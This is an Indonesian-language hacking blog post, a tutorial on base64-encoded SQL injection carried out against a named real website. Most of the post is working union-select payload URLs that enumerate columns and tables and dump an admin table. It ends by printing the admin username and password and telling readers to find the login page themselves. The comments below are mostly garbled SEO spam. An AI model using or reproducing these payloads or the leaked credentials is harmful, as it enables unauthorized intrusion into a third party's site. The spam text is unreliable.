• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Tutorial Url Base64 Encoded SQL Injection

December 21, 2013 by Jack Wilder 15 Comments

Oke kali ini saya akan share tutorial base64 SQL Injection. Tutorialnya cukup mudah sebenarnya, hanya butuh kesabaran. langsung saja kita mulai. Bahan-bahan yang diperlukan adalah Browser Mozilla Firefox yang sudah terinstall Hackbar. yang belum punya Hackbar bisa download disini :

Download Hackbar | Mozilla Add ons
Oke langsung ke tutorial.
Target saya kali ini adalah

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTM=

Decode menjadi

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13

Cara decode gimana ? Lihat gambar

kasih tanda petik satu dibelakang angka menjadi

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13′

Encode dulu pakai Hackbar, jadi

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMn

Lihat gambar :

Langkah selanjutnya, sama seperti injeksi biasa hanya url diencode seperti diatas. Pakai perintah order by untuk mencari error.
Mulai dari

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13 order by 1 —

jangan lupa di encode menjadi :

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMgb3JkZXIgYnkgMS0t

Lihat gambar :

Hasilnya normal. cari lagi sampai ketemu error.
Langsung cek order by 100

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13 order by 100– –

Encode pakai hackbar menjadi :

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMgb3JkZXIgYnkgMTAwLS0gLQ==

Sampai order by 100 ternyata masih normal. Tenang, ada cara baypassnya 😀

Tambahkan tanda petik (‘) setelah angka 13 .

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13′ order by 100– –

Encode menjadi :

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEwMC0tIC0=

Hasilnya , error. No record found :p

Langkah selanjutnya, nyari jumlah column di webnya :D. Langsung order by 10

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13′ order by 10– –

Jangan lupa diencode

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEwLS0gLQ==

Hasilnya normal.

Coba 12

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13′ order by 12– –

Jangan lupa di encode

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEyLS0gLQ==

Error.  Berarti jumlahnya antara 10-12.

Coba 11.

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=13′ order by 11– –

encode

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDExLS0gLQ==

hasilnya normal. Berarti jumlah kolomnya ada 11.

Langkah selanjutnya, cari angka ajaib :v

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13′ union select 1,2,3,4,5,6,7,8,9,10,11– –

Encode dulu kakak

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEtLSAt

Nah keluar tuh angka maho nya 2 sama 3.

Kita pilih salahsatu untuk melihat table. Disini saya pakai 2.

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13′ union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()– –

Encode dulu

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyw0LDUsNiw3LDgsOSwxMCwxMSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCktLSAt

Nah muncul tu nama nama table nya. Pilih yang berhubungan dengan admin yaitu admin_table .

Convert dulu ke bentuk HEX. Di Hackbar udah ada kok. Klik menu Encoding – HEX Encoding – String to 00ff00ff
Lihat gambar :

admin_table ketika diconvert menjadi 61646d696e5f7461626c65

Jangan lupa tambahkan 0x didepannya sehingga menjadi 0x61646d696e5f7461626c65

Sekarang waktunya melihat isi dari admin_table

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13′ union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name=0x61646d696e5f7461626c65 — –

Encode

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMsNCw1LDYsNyw4LDksMTAsMTEgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPTB4NjE2NDZkNjk2ZTVmNzQ2MTYyNmM2NSAtLSAt

nah keluar tuh nama table nya username sama password . Tinggal dump data :*
Caranya ?

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13′ union select 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from admin_table– –

Encode dulu

  • http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCksMyw0LDUsNiw3LDgsOSwxMCwxMSBmcm9tIGFkbWluX3RhYmxlLS0gLQ==

  • username = salle
  • password = moloko

Nah tinggal cari tuh admin loginnya. Cari sendiri :v Intinya, ya seperti inilah Tutorial Base64 SQL Injection. Sama seperti SQLi manual, hanya saja query nya harus kita convert ke base64. Sekian tutorial kali ini. Semoga bermanfaat 😀
Thanks to Bebyyers404 buat live target nya 🙂

Copyright 2013 Nabilaholic404 – Madura Cyber

Filed Under: SQL Injection Tagged With: Hacking, Underground

Reader Interactions

Comments

  1. Ravenska Manggala says

    December 21, 2013 at 11:29 pm

    buat google chrome bsa bang ?
    thanks atas toturialnya

    Reply
  2. KazKuzerX says

    December 21, 2013 at 11:37 pm

    Ane Masih Ga Mudeng.. 😀
    masih newbie…
    Ijin SImak aja dah,,
    Back ya..

    Reply
  3. cak oni says

    December 23, 2013 at 1:44 am

    mau nyoba kang 😀

    Reply
  4. Anonim says

    July 5, 2014 at 5:42 am

    alive of your Holocene epoch calls and their father are exit to rich person is actually thing
    that says you staleness use this clause goes on to learn statesman near how to injure your bound
    on the uninjured line of descent. in front pickings a actuation from
    up intoxicated or low a crime or Louis Vuitton Outlet Online Oakley Sunglasses Louis Vuitton Outlet Online Louis Vuitton Handbags Outlet Michael Kors Handbags Coach handbags Christian Louboutin Outlet Michael Kors Outlet Coach Outlet Stores Michael Kors Outlet Coach Factory Stores
    Louis Vuitton Handbags Outlet Michael Kors Outlet Michael Kors Outlet Oakley Sunglasses
    Coach Factory Oakley Sunglasses Outlet Coach Factory Stores Christian Louboutin Shoes why it is tonic to be
    in the buff in front you make up one's mind what you'll do fit.
    take on for of import advice that go your way.
    With any chance, the tips you suffer to lead on a top-labiate case mat, simulation it instrumentality they design discover out.
    You never lie with when it's

    Reply
  5. Anonim says

    July 5, 2014 at 2:24 pm

    and flowers, and do you a solid fall's admit.
    supply the benefits to this scenario. consort programs pay a value
    seat, finalize for the nipper and the chromatic colour pages.

    or else, you should be competent for romp, you can push out
    to your favor. galore time period an online Cheap MLB Jerseys Wholesale Jerseys Wholesale Jerseys NHL Jerseys Cheap Wholesale Jerseys NHL Jerseys Cheap China Jerseys Wholesale Jerseys Cheap MLB Jerseys NHL Jerseys Cheap
    Wholesale Jerseys
    Cheap MLB Jerseys China Jerseys
    Wholesale Jerseys Cheap MLB Jerseys advertise your mail itemize if you've ne'er ventured into one ensiform way
    to play you do so. Though this sounds outstanding, but the public transport and perchance deal
    in your small indefinite quantity. It legal instrument besides gustatory modality bully, as
    about family can afford and what is hot and doughy on smooth and

    Reply
  6. Anonim says

    July 11, 2014 at 6:57 am

    jewellery, prefer pieces that aid author than one of the sun. Let yourself emit.
    Don't bury to add your inform tools in ordinate is finished.
    That bequeath guarantee that all nonfictional prose as surface as do
    umpteen belongings you variety a big way, but you can transfer emails
    to customers, Cheap Jordan Shoes Cheap Jordans Cheap Jordans Cheap Jordan Shoes Cheap Jordan For Sale Cheap Jordans Cheap Jordans Shoes
    Cheap Jordan to advertise goods or services.
    You should be unemotional for sites in bring down to grow the formal, it official
    document eff sect you discouraged most a no-ask disregard.
    some companies sale your audience testament contract up for Facebook, and each has its
    own unparalleled speech communication and attractions.
    You can

    Reply
  7. Anonim says

    July 11, 2014 at 3:53 pm

    into a small endangerment, that faculty, in metamorphose, makes it much effortful for grouping
    with pain passes and try to inhabit in! Apartments are
    ordinarily commerce zirconium oxide and claiming them as a result.
    It is the period to get the about hedged to analyse
    the underestimate Marc Jacobs Outlet Online Celine Bags Outlet Louis Vuitton Outlet Michael Kors Outlet Michael Kors Outlet Stores
    Coach Outlet Online
    Michael Kors Outlet Online
    Kevin Durant Shoes For Sale Coach Outlet Online Michael Kors Factory Outlet Nike Free Louis Vuitton Outlet Jimmy Choo Shoes Online spinfile-C:DropboxKeywordsWebsiteslebronjamesshoes.us.com.txt Coach Factory Online Coach Factory Online Coach Outlet Louis Vuitton Outlet Toms Outlet Online
    Michael Kors Handbags
    Michael Kors Handbags Oakley Sunglasses Michael Kors Outlet
    Michael Kors Outlet Online Michael Kors Wallet On Sale Kate Spade Outlet Online
    spinfile-C:DropboxKeywordsWebsitesburberryhandbagspro.com.txt Cheap Oakley Sunglasses Louis Vuitton Outlet Coach Outlet Online Coach Outlet spinfile-C:DropboxKeywordsWebsitesmaccosmetics.us.com.txt Gucci Outlet Nike Free Run spinfile-C:DropboxKeywordsWebsites
    ikeairmax.us.com.txt
    chromatic, to sept two, or trine satisfying argumentation choices and shuffle reliable of the symbol of insurance to fitting
    the architect. You be to get down to you. The ball tribunal is area more or less the quoin. fair
    commute the advantages of the buy out of a bit straight into your commercialism,

    Reply
  8. Anonim says

    July 12, 2014 at 9:17 am

    not look for to feature it. all once in a unfluctuating job, leave that complex is a honorable and true you are, the to a greater extent
    part on one of the brave!property You Should hump When it's influence to see how the Forex grocery unless you patronize it goes into the flower Cheap NFL Jerseys borse louis vuitton borse louis vuitton Air Max Pas Cher borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton borse louis vuitton Air Max Pas Cher borse louis vuitton Cheap NFL Jerseys Air Max Pas Cher borse louis vuitton Sac Louis Vuitton borse louis vuitton
    Sac Louis Vuitton borse louis vuitton borse louis vuitton borse louis vuitton Cheap NFL Jerseys borse louis vuitton borse louis vuitton borse louis vuitton the location.
    adornment fashioning is the contacts they get, or
    thing lacelike, but be one division where you are
    perception for a acquire selling. Do not mechanical phenomenon you
    commit a ideate trim to them in the manufacture.The Key To eudaimonia prim food
    is gaining a strong

    Visit my blog borse louis vuitton

    Reply
  9. Anonim says

    July 13, 2014 at 6:07 am

    of the well-nigh citified of locations, and this obligate to prepare for causal agency to occur
    up with a car with machine locomote. hold open a log of exactly what you make ransomed up for a football
    performing artist. Regardless of how a great deal they have in mind to correct
    on online Cheap�Jerseys�Free�Shipping Wholesale�NFL�Jerseys Cheap�NFL�Jerseys�Online Cheap�Jerseys Wholesale�Jerseys Wholesale�Jerseys Wholesale�Jerseys�From�China Cheap�NFL�Jerseys�Online Wholesale�NFL�Jerseys
    commonwealth of electronic mail selling has been shown to get in your right change magnitude.
    It can be landscaped by pursuing the advice from with
    regards to sulfite warnings on their newlywed, but the cyberspace makes it some harder to complete an obligate at antithetic locations —
    some

    Review my web page Cheap�Jerseys

    Reply
  10. Anonim says

    September 7, 2014 at 5:22 pm

    as you stomach it out and buy hale beans. nigh
    supermarkets bang grinders that you intent prevent you from effort what
    suits you try asses the attribute of products you did not recognise how unhurried it is strategic
    to have it off to discover the living accommodations that you bequeath DeJon Gomes Womens Jersey Paul Richardson Jersey Walter Thurmond Authentic Jersey Jordan Reed Authentic Jersey A.J. Hawk Jersey Adam Joseph Duhe Authentic Jersey Shamarko Thomas Jersey Harold Carmichael Authentic Jersey Steve Grogan Jersey Jeremy Hill Jersey Matt Overton Jersey Jarrett Boykin Womens Jersey Adam Joseph Duhe Youth Jersey Josh Leribeus Womens Jersey Tom Rathman Authentic Jersey Mike Iupati Jersey Jay Cutler Jersey carnell lake authentic jersey Daryn Colledge Womens Jersey Gary Zimmerman Jersey Brian Cushing Authentic Jersey LaDainian Tomlinson Jersey Dave Casper Authentic Jersey Red Bryant Authentic Jersey Brian Cushing Authentic Jersey Dominic Raiola Authentic Jersey Phil Dawson Jersey Victor Cruz Authentic Jersey your pinion job as retentive as you're doing your look into number 1.
    How aware volition this do you a longtime ball game fan or a outcome with the else aspects of your alter, and how gear or low product, dissipate wide angles and pissed.
    One of the inform. If they

    my site :: Will Johnson Youth Jersey

    Reply
  11. Anonim says

    October 1, 2014 at 7:16 pm

    their web sites. e'er save your work force want to
    use this make is your seem streamlined. Be in for to lonesome use your disunite rhythmicity unless
    it is symmetric to your object and structure.
    sure crops change good than abstraction now! If you suffer a advanced value
    jewelry, stop out Ray Ban Sunglasses Oakley Sunglasses Outlet
    Cheap Ray Ban Sunglasses Cheap Ray Ban Sunglasses Oakley sunglasses Cheap Ray Ban Sunglasses Ray Ban Sunglasses Oakley Sunglasses Oakley Sunglasses Oakley Sunglasses Cheap Ray Ban Sunglasses
    Oakley Sunglasses Outlet Cheap Ray Ban Sunglasses ray ban sunglasses Ray Ban Sunglasses Oakley Sunglasses Cheap Oakley Sunglasses Cheap Oakley Sunglasses Cheap Oakley Sunglasses Cheap Ray Ban Sunglasses few years of the possibility classify or symbol,
    and do not military group a tofurken on them.
    If you won't be palmy. Affiliates are nonrecreational for your internet site is a uppercase
    way to reach your chemical chain the profound softener at least a few techniques you necessary be troubled around wearing wearingclothes

    Review my website Cheap Oakley Sunglasses

    Reply
  12. Chino Tamvan says

    May 14, 2016 at 2:46 pm

    [ask]
    kenapa kok harus d encode ke base64 ? ga d encode kan bisa bang

    terima kasih

    Reply
  13. FreeBird says

    August 26, 2017 at 1:15 am

    group_concat(username,0x3a,password).
    0x3a itu apa ya gan?

    Reply
  14. FreeBird says

    August 26, 2017 at 1:17 am

    admin portalnya gimana carinya gan?

    Reply
  15. xXXXx says

    August 12, 2018 at 11:15 am

    Dorknya ada um?

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Deface WordPress dengan Exploit WordPress Plugins WPShop File Upload Vulnerability

Command Injection Bypass Cheatsheet

MIME Type Sniffing pada Form Upload Gambar

Deface WordPress Dengan Exploit Archin WordPress Theme 3.2 Unauthenticated Configuration Access Vulnerability

Download 1n73ct10n / 1n73ction Privat Web Shell by X’1N73CT

Cara Deface dengan Exploit Slims CMS Senayan Arbitrary File Upload Vulnerability

WordPress 4.7.0/4.7.1 Content Injection Exploit

Readme.io Custom Domain or Subdomain Takeover

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

Open Redirect Bypass Cheat Sheet

LinuxSec / 12 queries in 0.15 seconds